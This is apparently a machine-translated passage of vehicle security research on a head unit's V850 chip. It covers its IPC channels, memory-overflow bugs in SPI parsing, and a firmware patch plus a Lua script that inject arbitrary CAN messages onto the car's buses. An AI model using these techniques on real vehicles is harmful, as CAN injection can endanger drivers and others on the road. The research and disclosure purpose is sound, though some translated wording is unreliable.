requestTransferExit: 37
requestDownload: 34 00 00 00 00 07 00 00
readEcuIdentification: 1A 87
Copy the code

When the V850 is in regular mode, communication seems to be composite. Some of these communication bytes indicate the length of the message. The first byte in the message actually indicates a “channel,” and the other bytes are data. At a slightly higher level, each channel can be accessed through ‘/dev/ipc-ch7’.

We don’t know all the channels and what they are for. But there are some things that stand out:

Channel 6: ctrlChan, used to send pre-programmed CAN information channel 7: DTC and diagnostic related channel 9: time channel from V850 25: some kind of secret keyCopy the code

Obtain V850 version information

If you look at ‘platform_version.lua’, you will know how to get the firmware version running on the V850. If you send two special bytes through channel 7, the V850 responds with version information.

ipc_ch7:write(0xf0, 3) ... . local function onIpcMessage(msg) if msg[1] ~= 240 then return end if msg[2] == 3 then versions.ioc_app_version = msg[3] . ". ".. msg[4] .. ". ".. msg[5] ipc_ch7:close() end endCopy the code

So, if you send ‘F0 03’, expect to return 5 bytes, F0, 03, x, y, z; The version information is X.Y.Z. You can verify that this method is accurate by querying version information via the D-bus service on the OMAP chip.

service = require "service" x=service.invoke("com.harman.service.platform", "get_all_versions", {}) print(x, 1)
  app_version: 14.05.3
  ioc_app_version: 14.2.0
  hmi_version: unknown
  eq_version: 14.05.3
  ioc_boot_version: 13.1.0
  nav_version: 13.43.7
Copy the code

V850 build date

Here’s a simple program to get the build date of the V850 chip:

file = '/dev/ipc/ch7'
g = assert(ipc.open(file))
f = assert(io.open(file, "r+b"))
g:write(0xf0, 0x02)
bytes = f:read(0x18)
print(hex_dump(bytes))
g:close()
f:close()
Copy the code

Here is the output from the above script. Compilation date is Jan 09, 2014, 20:46 (Jan 09, 2014, 20:46) :

# lua spi.lua 0000: 00 f0 02 42 3a 46 2f 4a ... B:F/J 0008: 61 6e 20 30 39 20 32 30 an 09 20 0010: 31 34 2f 32 30 3a 34 36 14/20:46Copy the code

V850 bug in firmware

We have demonstrated how to brush the tampered firmware into the V850. But what if they use cryptographic signatures, or if you want to influence the V850 dynamically without reprogramming it, leaving no analytical evidence? We took a quick look at the code responsible for parsing SPI information in the V850 firmware and identified potential vulnerabilities. Since we didn’t need them and didn’t have V850 debugging tools, we didn’t validate them, but they seem to be memory crashes.

Although there is little chance of an attack being implemented through the SPI interface, the code is not always secure due to the trusted nature of communication. In the V850 application firmware, the SPI processing code has the following two bugs.

0004A212      ld.w    -0x7BD8[gp], r16 -- 3ff7534
0004A216      ld.w    6[r16], r17
0004A21A      mov     r17, r6
0004A21C      addi    5, r28, r7
0004A220      ld.bu   4[r28], r18
0004A224      mov     r18, r8
0004A226      jarl    memcpy, lp
Copy the code

In this code, R28 points to user control data sent via SPI. The decompilation results in the following:

memcpy(fixed_buffer, attacker_controlled_data, attacker_controlled_len);
Copy the code

Is a similar stack overflow:

0004A478      movea   arg_50, sp, r6
0004A47C      addi    5, r28, r7
0004A480      ld.bu   4[r28], r10
0004A484      mov     r10, r8
0004A486      jarl    memcpy, lp
Copy the code

We have found several other memory crash bugs in the code base, but they are not listed here because our exploitation process does not need them.

CAN messages are sent through the V850 chip

If you modify the firmware as we described above, you CAN send arbitrary CAN messages from the OMAP chip by modifying it. There are many ways to do this, but the simplest and safest way is to send CAN data in the SPI message so that the message is passed to the appropriate functions in the V850. We selected the message ‘F0 02’ on SPI channel 7. As observed earlier, this information corresponds to the build date to get the firmware. We chose this command because we didn’t find any code that would call it, so if we messed up, it wouldn’t be fatal.

The function that handles channel 7 is located at 0x4b2C6. The code that handles’ F0 02 ‘starts at 0x4AEA4. Our technique is to place any code we choose there by modifying the firmware and jumping to an unused location in the ROM. At the end of the code, we return the execution to its original location.

Figure – The new code we added to the firmware

The function we use is’ can_transmit_MSg_1_or_3 ‘(0x6729C). This function takes one of 92 fixed values, each corresponding to a separate location in the CAN information array (ID, length, and data). For most values, the CAN ID is fixed. But for some values (39 and 91 for example), they read the CAN ID and LEN from RAM (unlike others read from ROM).

Our code reads the CAN ID from the SPI information and puts the CAN ID into RAM to read the location of the CAN ID (GP-0x2CC4). The data from the SPI packet is then copied to the appropriate location in RAM. Finally, copy the data length and put the data length in the expected position. Our code calls a function to transmit this information, sets a value to R18 (corrupted by our framework code), and returns as expected.

Then, in the ab initio unit, LUA code like the one below sends a CAN message to the high-speed bus and the medium-speed bus, depending on whether you are using the 39 message or the 91 message.

ipc = require("ipc") file = '/dev/ipc/ch7' g = assert(ipc.open(file)) -- F0, 02 33 | 6 91, LEN, CAN1, CAN2, CAN3 CAN4, DATA0, DATA1... g:write(0xf0, 0x02, 91, 0x08, 0xf1, 0x86, 0xda, 0xf8, 0x05, 0x2F, 0x51, 0x06, 0x03, 0x10, 0x00, 0x00)Copy the code